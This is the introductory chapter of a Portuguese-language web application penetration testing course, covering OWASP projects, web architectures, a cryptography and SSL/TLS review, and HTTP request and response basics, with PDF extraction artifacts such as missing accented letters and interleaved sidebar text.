O grupo Open Web Application Security Project uma organizao mundial, sem fins lucra-
tivos, que visa divulgar aspectos de segurana de aplicaes web, para que o risco nesses
ambientes seja devidamente avaliado por pessoas e empresas. Existem, hoje, 130 captulos
locais, espalhados pelos cinco continentes, todos abertos, gratuitamente, para participao
de pessoas interessadas no assunto. A entidade, alm de organizar conferncias internacio-
nais e encontros sobre o tema, mantm diversos projetos, que variam de guias de imple-
mentao segura a ferramentas.

Os trabalhos do OWASP relevantes para este curso esto brevemente descritos nos q
pargrafos a seguir:

1 Top Ten: uma lista, j na terceira verso, das dez vulnerabilidades de maior risco
presentes em aplicaes web, segundo a experincia prtica de diversos especialistas
membros da organizao. Por essa razo, foi adotado pelos padres PCI DSS (PCI, 2009a)
e PCI PA-DSS (PCI, 2009b) para figurar como os itens mnimos que devem ser conside-
rados na codificao segura de sistemas web.

1 Guia de desenvolvimento (Wiesmann et al., 2005): descreve as melhores prticas de


segurana para o projeto, desenvolvimento e implantao de sistemas e servios web
e inclui diversos exemplos prticos de cdigos em JEE, ASP.NET e PHP.

1 Guia de testes (Meucci et al., 2008): fornece metodologia e procedimentos detalhados para
Captulo 1 - Segurana em aplicaes web

a realizao de testes de invaso em aplicaes web, com cobertura das principais vulnera-
bilidades conhecidas. So apresentados testes caixa-preta e, tambm, caixa-cinza.

1 Guia de reviso de cdigo (Van der Stock et al., 2008): livro que ilustra como encon-
trar vulnerabilidades em aplicaes web, por meio da inspeo do cdigo-fonte.
Contm exemplos em diversas linguagens, como Java, C, C++ e ASP.

1 WebScarab: ferramenta escrita em Java, para ser utilizada em testes de segurana de


aplicaes web. A principal funcionalidade atuar como um proxy entre o navegador e
o servidor web, permitindo interceptar requisies e respostas e alter-las, se desejado.
Outras opes existentes permitem, por exemplo, automatizar testes de injeo, analisar
a aleatoriedade de identificadores de sesso e repetir requisies contidas no histrico.

5
1 WebGoat: uma aplicao web propositadamente insegura, criada com o objetivo de q
ensinar os conceitos de segurana web e testes de invaso. Parte dos exemplos deste
texto baseada nessa ferramenta.

Arquiteturas e tecnologias de aplicaes web


Nos primrdios da internet, os servidores web forneciam, basicamente, contedo q
esttico composto por documentos e imagens.

Tais recursos eram acessados pelos navegadores web, em um modelo cliente-servidor, no


qual o usurio no era capaz de fornecer nenhuma informao por meio da interface dispo-
l
Saiba mais
nibilizada. O mximo permitido consistia na navegao por documentos, contendo assuntos
relacionados, que eram referenciados por meio de hiperlinks. Claramente, no possvel Payment Card Industry
classificar tais provedores de contedo como aplicaes web e, portanto, eles no so inte- Data Security Standard
(PCI DSS) um padro
ressantes no contexto de testes de invaso abordado no presente documento. As vulnerabi- definido pelas bandei-
lidades que eram ento encontradas pertenciam apenas s plataformas subjacentes, como ras Visa, Mastercard,
American Express, JCB
o servidor web e o sistema operacional.

q
e Discover para mini-
mizar riscos envolven-
Observe que, nesse estgio inicial, os stios web eram centrados nos documentos e no
do pagamentos com
nos usurios. Diferentemente, uma aplicao web interage com as pessoas que a uti- cartes de crdito e
lizam, recebendo, devolvendo e atualizando informaes contidas nas fontes de dados dbito. O padro est
organizado em doze
da aplicao, de maneira dinmica.
requisitos principais
Um fluxo comum de processamento compreende os seguintes passos (Shklar, 2009): que cobrem segurana
de redes, proteo de
recebimento da requisio do usurio; interpretao da solicitao e subsequente enca- dados de carto arma-
minhamento; controle do acesso, por meio de autenticao e verificao dos privilgios; zenados, transmisso
acesso e atualizao de dados, de acordo com a lgica de negcio; personalizao da segura, segurana fsi-
ca e poltica de segu-
resposta, para atender aos diversos tipos de aplicaes clientes e caractersticas nicas rana, dentre outros.
dos usurios; e a transmisso da resposta para apresentao ao usurio. Payment Card Industry
Payment Application
As primeiras aplicaes web implementavam todas as etapas acima de maneira progra- Data Security Standard
mtica, utilizando tecnologias como CGI e Servlets Java. (PCI PA-DSS) um
padro mantido pelo
O grande problema que os sistemas eram monolticos, isto , as camadas de apresen- conselho PCI que tem
por objetivo auxiliar as
tao, lgica de negcios e de dados eram todas misturadas em um ou mais programas.
empresas de software
Assim, uma modificao incorreta no cdigo que construa uma tela poderia afetar uma de pagamento eletrni-
regra de manipulao de informao. Similarmente, a troca de um sistema gerenciador de co a desenvolver sis-
temas que no violem
banco de dados por outro no podia ser feita transparentemente. Outro inconveniente requisitos prescritos
que o leiaute da pgina ficava sob a responsabilidade dos programadores, que, normal- no PCI DSS e, assim,
mente, no possuam as habilidades necessrias nessa arena. no impedir estabele-

q
cimentos comerciais e
provedores de servios
Uma abordagem alternativa, visando minimizar esse problema, consiste na gerao de
a obter a certificao.
pginas HTML a partir de modelos (templates) que se baseiam em estruturas de forma-
tao e permitem uma quantidade limitada de cdigo embutido para incluso dinmica
Teste de Invaso de Aplicaes Web

de dados. Exemplos dessa soluo incluem o Cold Fusion, Apache Velocity e Server-Side
Includes (SSI), atuando em parceria com CGI.

Se por um lado o uso de modelos atendeu parcialmente o propsito de separar o contedo da


apresentao, por outro, pecou em limitar demasiadamente o poder e flexibilidade da abor-
dagem centrada em cdigo. Por esse motivo, solues hbridas procuraram mesclar modelos
orientados a pginas com o poder oferecido pela programao, permitindo, assim, a incluso de
blocos inteiros de cdigo permeando estruturas de formatao. Contrariando as crenas iniciais,
a fuso das vantagens de cada um dos cenrios no teve resultado positivo, uma vez que, nova-
mente, contedo e apresentao se tornaram indissociveis em um nico objeto (Shklar, 2009).

6
Solues hbridas procuraram mesclar modelos orientados a pginas com o poder q
oferecido pela programao. Active Server Pages (ASP), da Microsoft, PHP e JavaServer
Pages (JSP), da Sun, foram tecnologias que enveredaram por esse caminho.

Embora ainda hoje seja possvel encontrar sistemas desenvolvidos com todas essas
tecnologias, aplicaes web modernas, normalmente, so construdas com base em um
modelo de n-camadas. O objetivo separar totalmente a lgica de negcio das camadas
de dados e de apresentao ao usurio e obter, com isso, total flexibilidade na seleo
de tecnologias e manuteno do sistema.

Para exemplificar, imagine uma aplicao que armazena informaes em arquivos de texto
e que, por algum motivo, um sistema gerenciador de bancos de dados deva ser adotado
no lugar. Como o acesso s informaes ocorre por meio de uma interface bem definida e
abstrata da camada de dados, a alterao no impacta o cdigo que as utiliza.

Java EE (Oracle, 2010) um exemplo de plataforma para execuo de aplicaes calcada no


conceito de mltiplas camadas. A primeira delas composta por navegadores web e apli-
caes clientes que fazem interface com o usurio e se comunicam com o servidor Java EE.
A camada web responsvel pela gerao dinmica de contedo e transporte das informa-
es fornecidas pelo usurio at a camada de negcio. Ela emprega tecnologias como Ser-
vlets, JavaServer Pages, JavaServer Faces e JavaBeans. A terceira camada composta pelos
componentes que implementam a lgica de negcio da aplicao, que so construdos, por
exemplo, com Enterprise JavaBeans. Por fim, a ltima camada compreende servidores de
bancos de dados, sistemas legados e demais fontes de dados pertinentes, que so aces-
sadas por tecnologias como Java Database Connectivity API (JDBC) e Java Persistence API.

importante entender como todos esses elementos so distribudos em servidores q


e como so protegidos nas camadas de rede e de transporte. A Figura 1.3 ilustra uma
topologia cannica para implementao de um sistema em n-camadas.

O acesso de clientes a partir de redes no confiveis controlado por um firewall de borda


com capacidade adicional de inspecionar o trfego HTTP e bloquear ataques conhecidos.
Um conjunto de servidores web ou de aplicao responde pelas funcionalidades de apre-
sentao, transportando informaes do usurio para os servidores de aplicaes, respon-
sveis pela lgica de negcio, e formatando as respostas s requisies realizadas.
A ltima camada composta, normalmente, de servidores de bancos de dados e de sistemas
legados. A Figura 1.4 enumera alguns exemplares de cada um dos componentes principais.

Captulo 1 - Segurana em aplicaes web

FW+WAF

Aplicaes Camada de Camada de lgica Camada


Clientes apresentao de negcio de dados

Figura 1.3
Topologia de uma
aplicao em
n-camadas.

7
Componente Exemplos

Camada de cliente Navegadores web: Internet Explorer, Firefox e Chrome.


Aplicaes escritas em Java.
Microsoft Office.

Camada de apresentao IIS.


Apache.
Tomcat.
WebSphere.
JBoss.
Oracle GlassFish.
Oracle WebLogic.
Apache Geronimo.

Camada de negcio WebSphere.


JBoss.
Oracle GlassFish.
Oracle WebLogic.
Apache Geronimo.

Camada de dados Oracle database.


MS SQL Server.
MySQL.
Figura 1.4
Firewall de aplicao Apache ModSecurity.
Exemplos dos
Imperva SecureSphere WAF.
componentes de
Cisco ACE WAF. uma aplicao em
Barracuda WAF. n-camadas.

Exerccio de nivelamento 2 e
Requisitos de segurana
Que requisitos de segurana da informao podem ser atendidos por mecanismos criptogrficos?

Reviso de criptografia
Os primeiros vestgios de criptografia datam da poca dos egpcios, os quais utilizaram
hierglifos irregulares na representao de algumas informaes. O objetivo de tal prtica
Teste de Invaso de Aplicaes Web

era o de prover o sigilo da informao, que foi o nico requisito de segurana almejado pela
One-time pad
criptografia clssica e pr-moderna. Muitos dos algoritmos desenvolvidos nessas fases
Cifra simtrica de
foram utilizados na proteo de mensagens to importantes, como aquelas transmitidas fluxo cuja segurana
por governantes aos generais em batalha, mas nenhum deles foi construdo com uma forte incon-dicional, isto ,
independente-mente do
fundamentao e entendimento dos ataques possveis. Consequentemente, a maioria
poder computacional
desses mecanismos sucumbiu aos mais diversos ataques concebidos. existente hoje e no
futuro, ou de avanos
Pode-se dizer que esse perodo durou at o artigo seminal de Shannon (1949), que demons- na matemtica, no
trou a segurana incondicional do algoritmo one-time pad e introduziu o uso da matem- possvel quebr-la.
tica nessa rea de estudo.

8
A criptografia moderna, nascida desse marco, compreende um conjunto de tcnicas q
matemticas e computacionais utilizado para atender os seguintes requisitos de segu-
rana da informao: confidencialidade, integridade, irretratabilidade, autenticidade da
origem da mensagem e autenticidade de entidades.

1 Confidencialidade: requisito de segurana da informao que objetiva garantir que a


informao seja legvel somente para pessoas autorizadas.

1 Integridade: requisito de segurana da informao que objetiva garantir que a infor-


mao no seja alterada de maneira no autorizada ou desconhecida.

1 Irretratabilidade: tambm chamado de no repdio, um requisito de segurana da infor-


mao que tem por objetivo impedir que entidades neguem aes previamente realizadas.

1 Autenticidade: um requisito de segurana da informao que se desdobra em


autenticidade de entidades e autenticidade da origem da mensagem. No primeiro
caso, o objetivo corroborar a identidade de uma entidade e, no segundo, corroborar
a origem de uma informao.

Cifras
Cifras so mecanismos criptogrficos utilizados na proteo do sigilo da informao e q
so compostos de uma transformao de ciframento e outra de deciframento.

Os esquemas de ciframento podem ser classificados em simtricos e assimtricos,


dependendo da relao entre as chaves.

A primeira recebe como entradas um texto em claro e uma chave de ciframento e resulta em
um texto cifrado, que prov a confidencialidade da informao. Logo, o texto cifrado pode ser
enviado para o destinatrio por canais potencialmente inseguros, sem o risco de um atacante
interceptar o canal de comunicao e violar o sigilo da mensagem. A segunda transformao
utilizada para recuperar o texto original a partir do texto cifrado e da chave de deciframento.

Alice Beto

Chave de Chave de
ciframento deciframento

Texto em Texto em
claro Algoritmo de Texto cifrado Algoritmo de claro
ciframento deciframento

Canal
Captulo 1 - Segurana em aplicaes web

inseguro

???
Figura 1.5 $%^!,78g
Modelo geral para @%*&():A
Eva
o uso de cifras.

9
Cifras simtricas
Uma cifra dita simtrica ou de chave secreta quando fcil computacionalmente q
determinar uma chave a partir da outra e, em muitos casos prticos, as duas so
iguais. Por esse motivo, as chaves devem ser conhecidas apenas pelas partes que par-
ticipam da comunicao.

Os algoritmos dessa classe so rpidos e utilizam chaves relativamente pequenas. Um pro-


blema desses esquemas, porm, que o nmero de chaves em uma rede tende a ser grande.

Isso ocorre porque quaisquer duas entidades que queiram se comunicar de forma confiden-
cial precisam compartilhar uma chave. Em uma rede com vrias entidades, considerando-se
que todo mundo deseja comunicar-se seguramente com o restante das pessoas do grupo,
o nmero total de chaves dado pelo nmero de combinaes de n, dois a dois, isto , Cn,2.

Outro problema fundamental nesse esquema o da distribuio segura de chaves, isto ,


como duas entidades podem partilhar uma chave sem que uma terceira parte no autori-
zada tome conhecimento dela. Essa troca de chaves pode ser feita presencialmente ou por
meio de protocolos criptogrficos para estabelecimento de chaves, como o protocolo
Diffie-Hellman, por exemplo.

As cifras simtricas podem ser classificadas em cifras de blocos e cifras de fluxo. As pri-
meiras so aquelas que dividem o texto em claro em blocos de tamanho fixo e processam
um bloco por vez, com a mesma chave de ciframento. As cifras de fluxo, por sua vez, podem
ser consideradas cifras de blocos simples com tamanho unitrio, mas que podem variar a
chave de ciframento utilizada para transformar cada bloco. A sequncia de chaves utilizadas
chamada de fluxo de chaves.

Cifras assimtricas
Uma cifra chamada de assimtrica quando so utilizadas chaves diferentes para q
ciframento (chave pblica) e deciframento (chave privada), mas que so relacionadas
matematicamente. Somente a ltima precisa ser mantida em sigilo e, naturalmente,
deve ser computacionalmente infactvel recuper-la a partir da chave pblica, que pode
ser distribuda livremente.

Essas cifras so muito mais lentas que as cifras simtricas e necessitam de chaves
maiores para garantir um mesmo nvel de segurana.

Por outro lado, o nmero de chaves utilizadas bem menor: cada entidade precisa apenas de
um par de chaves e, assim, em uma rede com n entidades, haver somente n pares de chaves.

Para ilustrar um problema inerente a essa classe de cifras, imagine o seguinte cenrio: Alice
deseja enviar uma mensagem secreta para Beto. Ela ento obtm a chave pblica dele de uma
fonte qualquer (uma pgina web, um anncio de jornal etc.), utiliza-a para cifrar a mensagem
Teste de Invaso de Aplicaes Web

e envia o resultado a Beto. Como somente Beto possui a chave privada correspondente,
somente ele capaz de recuperar a mensagem original. Mas o que aconteceria se Eva, curiosa
por saber das mensagens alheias, tivesse fornecido sua chave pblica Alice como sendo a
de Beto? Como Eva possui a chave privada correspondente, ela capaz de obter a mensagem
original de Alice e, em seguida, cifr-la com a chave pblica de Beto, enviando-lhe o resultado.
No fim desse cenrio, Alice no saberia que sua mensagem foi revelada a outra parte que no
Beto. O ataque foi possvel porque no se verificou a autenticidade da chave pblica utilizada,
o que pode ser realizado por meio de certificados de chave pblica.

10
Funes de hash criptogrficas
Uma funo de hash criptogrfica uma funo computacionalmente eficiente que q
mapeia cadeias binrias de tamanho arbitrio para cadeias binrias de tamanho fixo
qualquer, chamadas de valores hash (Menezes et al., 2001).

Esses valores constituem uma espcie de impresso digital da cadeia mapeada e, por
isso, podem ser empregadas para verificao de integridade da informao.

Trs propriedades precisam ser satisfeitas, para que essas funes tenham utilidade
criptogrfica:

1 Resistncia da pr-imagem: para essencialmente qualquer valor hash, deve ser


computacionalmente infactvel encontrar uma entrada que seja mapeada para ele.

1 Resistncia da segunda pr-imagem: dado um elemento x qualquer e seu respec-


tivo hash, deve ser computacionalmente infactvel encontrar um elemento diferente
de x que possua o mesmo hash.

1 Resistncia a colises: deve ser computacionalmente infactvel encontrar duas


entradas quaisquer e diferentes que possuam o mesmo hash. Essa propriedade
difere da anterior, porque h liberdade na escolha das duas entradas.

Graas a essas propriedades, funes de hash criptogrficas podem ser empregadas


para diversas finalidades, como:

1 Proteo de senhas em sistemas Unix/Linux: somente os hashes das senhas so


armazenados em arquivos. Como pela resistncia da pr-imagem, infactvel recu-
MD5
perar uma senha a partir de um hash especfico, ela encontra-se protegida.
Message-Digest
algorithm 5. Funo 1 Verificao da integridade de arquivos: ao baixar arquivos grandes pela internet,
de hash criptogrfica
como as imagens de uma distribuio Linux, por exemplo, possvel verificar a integri-
criada por Ron Rivest,
em 1992, e especificada dade do que foi obtido, por meio do clculo do hash da imagem e comparao com o
na RFC-1321. Teve hash fornecido pelo site. Por conta das ltimas duas propriedades, a probabilidade de
a propriedade de
um arquivo corrompido gerar o mesmo hash da imagem ntegra praticamente nula.
resistncia a colises
quebrada em 2004, Observe-se que esse uso no impede que uma entidade maliciosa troque o arquivo de
por um grupo de imagem e tambm o arquivo contendo o hash para verificao de integridade.
pesquisadores chineses.
Desde ento, diversos Desde o ataque de Wang e Yu (2005) contra o MD5, que resultou na violao da resistncia
ataques baseados na
a colises desse algoritmo, diversas outras funes de hash criptogrficas foram quebradas
vulnerabilidade foram
descritos na literatura. e ataques significativos baseados no resultado dos pesquisadores chineses, descritos na
literatura cientfica. O mais crtico deles foi o resultado que, aproveitando-se de autoridades
RSA certificadoras que ainda assinavam os certificados com RSA+MD5, possibilitou a gerao de
Criptossistema um certificado digital vlido, com chave privada correspondente, de uma autoridade certifi-
assimtrico baseado na
cadora intermediria (Stevens et al., 2009). Tal ataque permite a emisso de certificados digi-
Captulo 1 - Segurana em aplicaes web

dificuldade de fatorao
de inteiros grandes. tais fraudulentos, mas reconhecidos como autnticos pelos navegadores web e aplicaes.
Criado por Rivest,
Shamir e Adleman, foi
MACs
q
o primeiro algoritmo
a implementar o
Message Authentication Code (MAC) um mecanismo criptogrfico simtrico que tem
conceito de criptografia
assimtrica, introduzido por objetivo prover integridade da informao e autenticidade da origem da mensagem.
por Diffie e Hellman.
Message Authentication Code (MAC) um mecanismo criptogrfico simtrico que tem por
objetivo prover integridade da informao e autenticidade da origem da mensagem. Aceita
como entradas uma mensagem e uma chave simtrica e gera como resultado um cdigo de
autenticao. Devido simetria da chave, que compartilhada entre os usurios de uma

11
comunicao, no possvel garantir a irretratabilidade, pois qualquer um deles capaz de
gerar o mesmo MAC para uma dada mensagem.

As propriedades esperadas desses algoritmos esto listadas a seguir: q


1 Facilidade de computao: dadas uma chave e uma mensagem fcil computar o
MAC correspondente.

1 Compresso: cadeias binrias de tamanho arbitrrio so mapeadas para cadeias


binrias de tamanho fixo.

1 Resistncia computao: deve ser computacionalmente infactvel computar, a


partir de um conjunto de pares (mensagem, MAC), o MAC de uma mensagem no
pertencente a esse conjunto, sem conhecimento da chave simtrica.

Dessas trs propriedades, a nica relacionada segurana a ltima. Caso ela seja que-
brada, possvel forjar o MAC para uma mensagem e pass-la por autntica.

Assinaturas digitais
A assinatura digital uma primitiva criptogrfica essencial para prover autenticao da q
origem da mensagem, integridade e irretratabilidade. Por meio desse mecanismo, uma
entidade capaz de associar a identidade dela a uma informao.

Diferentemente de assinaturas manuais, que so constantes, a assinatura digital varia de


acordo com a mensagem sendo assinada e um segredo conhecido apenas pelo signatrio.

A assinatura digital uma primitiva criptogrfica essencial para prover autenticao da


origem da mensagem, integridade e irretratabilidade. Por meio desse mecanismo, uma
entidade capaz de associar a identidade dela a uma informao. Diferentemente de assi-
naturas manuais, que so constantes, a assinatura digital varia de acordo com a mensagem
sendo assinada e um segredo conhecido apenas pelo signatrio. Se no fosse assim, seria
muito fcil falsificar assinaturas digitais, uma vez que bastaria copiar uma cadeia de bits
constante. Ainda nessa linha, um requisito importante para a efetividade do mecanismo
que deve ser computacionalmente infactvel construir uma mensagem para uma assinatura
existente, bem como gerar uma assinatura fraudulenta para uma mensagem qualquer.

Um esquema de assinaturas digitais consiste em um algoritmo de gerao e outro de verifi-


cao de assinaturas. O primeiro produz uma assinatura digital, em funo da mensagem e
chave privada do signatrio, enquanto que o segundo emprega a chave pblica e utilizado
para verificar se uma assinatura autntica, ou seja, se foi criada por uma dada entidade
sobre uma informao especfica. Embora a grande maioria desses mecanismos seja assi-
mtrica, existem alguns esquemas simtricos, mas que dependem de uma terceira parte
confivel para execuo de ambos os processos.

Os esquemas de assinaturas digitais podem ser classificados em:


Teste de Invaso de Aplicaes Web

1 Esquemas de assinaturas digitais com apndice: requerem a mensagem original para


o processo de verificao.

1 Esquemas de assinaturas digitais com recuperao de mensagens: o processo de verifi-


cao no requer a mensagem original, que recuperada a partir da prpria assinatura.

Certificados digitais
Existe muita confuso na literatura e entre profissionais de segurana sobre o que realmente
um certificado digital. muito comum encontrar afirmaes de que ele serve para autenticar
uma entidade, como um servidor web, por exemplo. Mas isso est longe de ser a verdade.

12
O propsito de um certificado, na realidade, atestar a autenticidade da chave pblica q
de uma entidade, condio que fundamental para o emprego de criptossistemas assi-
mtricos (Menezes et al., 2001).

Isso obtido pela confiana depositada em uma terceira parte confivel, a autoridade
certificadora (AC), que assina digitalmente um documento eletrnico contendo infor-
maes sobre uma dada entidade e a chave pblica autntica dela. Esses dados, mais
a assinatura digital, compem o certificado digital, que pode ser distribudo por canais
inseguros, sem o risco de adulterao indetectvel.

A emisso, como chamado o processo descrito, deve ocorrer apenas aps a AC, com a
diligncia devida, verificar documentos comprobatrios da identidade da entidade e que
ela tem a posse da chave privada associada. Para validar um certificado digital, neces-
srio verificar se a data atual est dentro do prazo de validade do certificado, se ele no
est revogado e se a assinatura digital da autoridade certificadora vlida (esse processo
executado recursivamente ao longo da cadeia de certificao). Essa ltima parte requer
a chave pblica autntica da AC, a qual pode ser obtida por meio de um certificado digital
emitido para ela, por uma AC de nvel superior, ou por meio de um certificado autoassinado,
caso seja uma AC raiz. Nesse ltimo caso, o certificado assinado com a prpria chave
privada associada chave pblica contida nele. Uma vez que qualquer pessoa pode gerar
um certificado assim, primordial que ele seja fornecido por um canal autntico e ntegro.

Protocolos SSL e TLS


O Secure Sockets Layer (SSL) uma pilha de protocolos desenvolvida pela Netscape, que q
atua acima da camada de transporte, provendo servios de autenticao (mtua) de
entidades, autenticao da origem da mensagem, confidencialidade e integridade.

A verso 3 do SSL foi avaliada publicamente e deu origem ao Transport Layer Security (TLS)
IETF v1.0, padronizado pelo IETF.
Internet Engineering
Task Force uma Desse modo, preenche a lacuna existente na pilha TCP/IP, com relao a um mecanismo de
organizao aberta, sem transporte seguro de informaes fim-a-fim. Os protocolos especificados pelo padro esto
um processo formal
ilustrados na Figura 1.6.
de filiao, que define
padres tecnolgicos
para a internet. SSL Handshake SSL Change SSL Alert
HTTP Telnet
Protocol Cipher Spec Protocol

SSL Record Protocol

TCP
Captulo 1 - Segurana em aplicaes web

Figura 1.6
Pilha de protocolos IP
do SSL.

O protocolo SSL Record, representado na Figura 1.7, o responsvel pelos servios de q


confidencialidade, integridade e autenticidade da origem da mensagem.

Ele utilizado pelos demais protocolos da pilha SSL e por protocolos da camada de apli-
cao, como o HTTP e o FTP, por exemplo. O dado de aplicao a ser transportado frag-
mentado em diversos blocos que so tratados individualmente. Em alguns casos, ocorre
compresso antes que o MAC seja calculado e adicionado ao final do bloco. O conjunto
cifrado com o algoritmo simtrico definido pelo handshake e, em seguida, adicionado o

13
cabealho SSL Record, que inclui a verso de SSL empregada e identificao do protocolo de
camada superior que processar o fragmento.

Dados da aplicao

Fragmentos

Compresso

Adio de MAC

Ciframento

Figura 1.7
Adio do cabealho SSL Record
SSL Record Protocol.

O prximo protocolo importante, executado no incio da conexo, o SSL Handshake (Figura 1.8),
que utilizado para autenticao do servidor (e eventualmente do cliente) e definio das
caractersticas de segurana a serem utilizadas na proteo do canal. No passo 1, o cliente
envia ao servidor as sutes criptogrficas suportadas, verso de protocolo, identificador de
sesso e um nmero gerado pseudoaleatoriamente. O servidor devolve uma mensagem
com a sute escolhida, verso do protocolo, outro nmero pseudoaleatrio e o mesmo iden-
tificador de sesso, caso o valor fornecido seja no nulo. O certificado digital do servidor
enviado no passo 2, juntamente com uma solicitao de certificado do cliente, caso a auten-
ticao mtua tenha sido configurada. Nesse caso, esse certificado fornecido no passo 3,
quando tambm so enviadas informaes para o estabelecimento de chaves.

Na ltima etapa, os algoritmos selecionados so ativados por meio do protocolo SSL Change
Cipher Spec e a mensagem finished, enviada protegida com os novos parmetros, utilizada para
verificar se o protocolo transcorreu com sucesso. Isso s possvel se cada uma das partes con-
seguir decifrar corretamente essa ltima mensagem enviada. Por fim, o SSL Alert Protocol utili-
zado para transportar mensagens de alerta entre os pares de uma sesso SSL. Cada mensagem
composta de apenas dois bytes, que indicam a severidade do alerta e a notificao especfica.
Teste de Invaso de Aplicaes Web

14
Cliente Servidor

clien
t_he
llo

(1)
hell o
se rver_

e
cat
certi
nge
y_e xcha
e r_ke
serv
t
ques (2)
ca te_re
certi
done
r_h ello_
s erve
Tempo

certi
cat
e
clien
t_key
_exc
hang (3)
e
certi
cat
e_ve
rify

chan
ge_c
iphe
r_sp
ec
nis
hed

(4)
ec
he r_sp
g e_cip
chan
hed
nis
Figura 1.8
SSL Handshake.

Exerccio de fixao 2 e
Segurana da informao
Que primitivas criptogrficas satisfazem a cada um dos requisitos de segurana da informao? Captulo 1 - Segurana em aplicaes web

Qual o propsito de um certificado digital?

15
Reviso dos protocolos HTTP e HTTPS
HyperText Transfer Protocol (HTTP) um protocolo da camada de aplicao, que opera q
como cliente-servidor e no orientado a conexo. Os recursos so identificados de
maneira nica por meio de Uniform Resource Locators (URLs). HTTP no possui nativa-
mente nenhum mecanismo para proteger os dados.

HTTPS empregado para transporte de dados sigilosos em aplicaes bancrias e de


comrcio eletrnico.

HTTP um protocolo da camada de aplicao, utilizado na distribuio de documentos de


hipertexto, os quais so a base da World Wide Web (Fielding et al., 1999). Esta foi a grande
responsvel pela popularizao da internet e a face mais conhecida da rede mundial.
No incio, os recursos acessados por meio de HTTP eram todos estticos, bem diferente dos
dias de hoje, em que o contedo gerado dinamicamente, de acordo com a interao do
usurio com o site.

O protocolo opera no estilo cliente-servidor, no qual o navegador web (cliente) realiza uma
requisio de recurso a um servidor web, que responde com o contedo solicitado, se existir.
HTTP no orientado conexo e, assim, um protocolo que no mantm estado das con-
versaes. O transporte dos dados, normalmente, realizado por meio de TCP/IP, mas isso
no um requisito; basta que o protocolo utilizado fornea entrega confivel. Apesar disso,
o HTTP no orientado conexo e, assim, um protocolo que no mantm o estado das
conversaes. Considerando como era utilizado nos primrdios, isso, de fato, no era uma
necessidade. Os recursos so identificados de maneira nica por meio de Uniform Resource
Locators (URLs), que correspondem aos endereos que usurios digitam nos navegadores
para acessarem sites especficos. Uma URL define o protocolo de acesso, o servidor do
recurso, porta utilizada, caminho no servidor at o elemento, nome do recurso e parmetros.
Note que nem todos esses itens so obrigatrios em uma requisio.

O protocolo HTTP no possui nativamente nenhum mecanismo para proteger os


dados que carrega.

Assim, informaes podem ser adulteradas, injetadas ou removidas, de maneira no autori-


zada, durante o trnsito at o cliente ou servidor. Para preencher essa lacuna, o HTTP pode
ser utilizado sobre os protocolos SSL ou TLS, que fornecem servios para autenticao de
entidades, autenticao da origem da mensagem, integridade e sigilo do canal de comu-
nicao. Esse o padro conhecido como HTTPS e empregado para transporte de dados
sigilosos em aplicaes bancrias e de comrcio eletrnico, por exemplo.

Requisio
Para acessar um recurso em um servidor, uma requisio HTTP deve ser realizada pelo q
Teste de Invaso de Aplicaes Web

cliente, de acordo com um formato pr-estabelecido, contendo trs sees. A primeira


consiste em uma linha descrevendo a requisio; em seguida, diversas linhas compem
os cabealhos HTTP pertinentes; a terceira seo, opcional, corresponde ao corpo da
mensagem e deve vir separada da segunda, por uma linha em branco.

Como ilustrao, considere que um usurio deseja ver o site da Escola Superior de Redes da
RNP, utilizando o navegador Firefox. A seguinte requisio feita pelo software:

GET http://esr.rnp.br:80/ HTTP/1.1


Host: esr.rnp.br
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR;

16
rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.5.30729)
Accept: text/html,application/xhtml+xml,application/
xml;q=0.9,*/*;q=0.8
Accept-Language: pt-br,pt;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive

A primeira linha sempre composta por um mtodo HTTP (GET), o recurso identificado por
uma URL (http://esr.rnp...) e a verso do protocolo utilizada (HTTP/1.1). As demais linhas do
exemplo so cabealhos, que identificam, entre outras coisas, o nome de domnio do ser-
vidor, o navegador utilizado, o tipo de sistema operacional do cliente e tipos de contedos e
codificaes aceitos.

Resposta
A resposta do servidor a uma requisio, tambm, composta por trs sees: q
1 Linha de estado descrevendo o protocolo e verso utilizados, cdigo de estado e um
valor textual, que no interpretado, hoje, pelos navegadores.

1 Sequncia de cabealhos fornecendo informaes como data, servidor e tipo do contedo.


1 Contedo referente ao recurso solicitado, separado das sees anteriores, por uma
ou mais linhas em branco.

O resultado da requisio da seo anterior est ilustrado a seguir. importante mencionar


que uma resposta pode gerar novas requisies, caso o contedo apresentado possua ele-
mentos como imagens e scripts com especificao de arquivos.

HTTP/1.1 200 OK
Date: Thu, 09 Sep 2010 01:07:53 GMT
Server: Apache/2.2.12 (Ubuntu)
X-Powered-By: PHP/5.2.10-2ubuntu6.4
Set-Cookie: esr=1fa7bce201555382a9e901fff3b3a1fc1226489b; path=/;
domain=rnp.br
Set-Cookie: esr_data=yQdWXrdxCb%2BhaHkaiwD715%2F4PVrGe%2BqfoMX81a1
CksCHNB6J%2BjI%2BrffuKXrlCbCi; path=/; domain=rnp.br
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: esr_data=vsppYJJlddvBfXVW%2FPC%2FAPH7zwMPGzJTMKgMALrli
HhYkDN7bUE1ZP5KN6WkNVBhhA%2Fi3nlB6rALyd7x8qVoIqu8fINFYFqA; path=/;
Captulo 1 - Segurana em aplicaes web

domain=rnp.br
Cache-Control: post-check=0, pre-check=0
Vary: Accept-Encoding
X-Content-Encoding: gzip
Content-length: 4965
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE html PUBLIC -//W3C//DTD XHTML 1.0 Transitional//EN


/_dtd/xhtml1-transitional.dtd><html xml:lang=pt-br lang=pt-
br><head><meta http-equiv=Content-Type content=text/html;
charset=iso-8859-1 /><title>Escola Superior de Redes</title>
...
17
Mtodos
H oito mtodos, ao todo, especificados pelo protocolo HTTP, os quais indicam a ao q
solicitada pela requisio. Os dois mais importantes, no escopo desse texto, so os
mtodos GET e POST.

O primeiro utilizado para solicitar pginas ao servidor e permite que parmetros sejam
passados como parte da URL do recurso. Isso implica que informaes sensveis no devem
ser passadas por meio de GET, pois elas sero exibidas em histricos de navegadores e
registradas em trilhas de auditoria, no servidor web. O mtodo POST empregado para
submeter aes ao servidor e os parmetros podem ser passados como parte do corpo da
mensagem e, tambm, da URL.

Cdigos de estado
Cdigos de estado so valores numricos de trs dgitos, que fazem parte da primeira q
linha da resposta do servidor a uma requisio e denotam o resultado da solicitao.

